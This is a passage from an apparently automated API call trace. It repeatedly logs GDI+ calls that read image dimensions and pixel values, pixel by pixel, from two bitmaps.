height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=222, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=223, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=224, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=225, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=226, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=227, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=228, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=229, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=230, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=231, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=232, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=233, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=234, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=235, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=236, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=237, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=238, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=239, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=240, color=0x636e0f0) returned 0x0 [0224.987] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.987] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.987] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=241, color=0x636e0f0) returned 0x0 [0224.988] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.988] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=242, color=0x636e0f0) returned 0x0 [0224.988] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.988] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=243, color=0x636e0f0) returned 0x0 [0224.988] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.988] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=244, color=0x636e0f0) returned 0x0 [0224.988] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.988] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=245, color=0x636e0f0) returned 0x0 [0224.988] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.988] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=246, color=0x636e0f0) returned 0x0 [0224.988] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.988] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=247, color=0x636e0f0) returned 0x0 [0224.988] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=248, color=0x636e0f0) returned 0x0 [0225.371] GdipGetImageWidth (image=0x4da5040, width=0x636e104) returned 0x0 [0225.371] GdipGetImageHeight (image=0x4da5040, height=0x636e104) returned 0x0 [0225.371] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.371] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.371] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=0, color=0x636e0f0) returned 0x0 [0225.371] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.371] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.371] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=1, color=0x636e0f0) returned 0x0 [0225.371] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.371] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.371] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=2, color=0x636e0f0) returned 0x0 [0225.371] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.371] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=3, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=4, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=5, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=6, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=7, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=8, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=9, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=10, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.372] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=11, color=0x636e0f0) returned 0x0 [0225.372] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.372] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=12, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=13, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=14, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=15, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=16, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=17, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=18, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=19, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=20, color=0x636e0f0) returned 0x0 [0225.373] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.373] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.373] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=21, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=22, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=23, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=24, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=25, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=26, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=27, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=28, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=29, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.374] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=30, color=0x636e0f0) returned 0x0 [0225.374] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.374] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=31, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=32, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=33, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=34, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=35, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=36, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=37, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=38, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=39, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.375] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.375] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=40, color=0x636e0f0) returned 0x0 [0225.375] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=41, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=42, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=43, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=44, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=45, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=46, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=47, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=48, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.376] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=49, color=0x636e0f0) returned 0x0 [0225.376] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.376] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=50, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=51, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=52, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=53, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=54, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=55, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=56, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=57, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=58, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.377] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.377] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=59, color=0x636e0f0) returned 0x0 [0225.377] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=60, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=61, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=62, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=63, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=64, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=65, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=66, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=67, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=68, color=0x636e0f0) returned 0x0 [0225.378] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.378] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.378] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=69, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=70, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=71, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=72, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=73, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=74, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=75, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=76, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=77, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 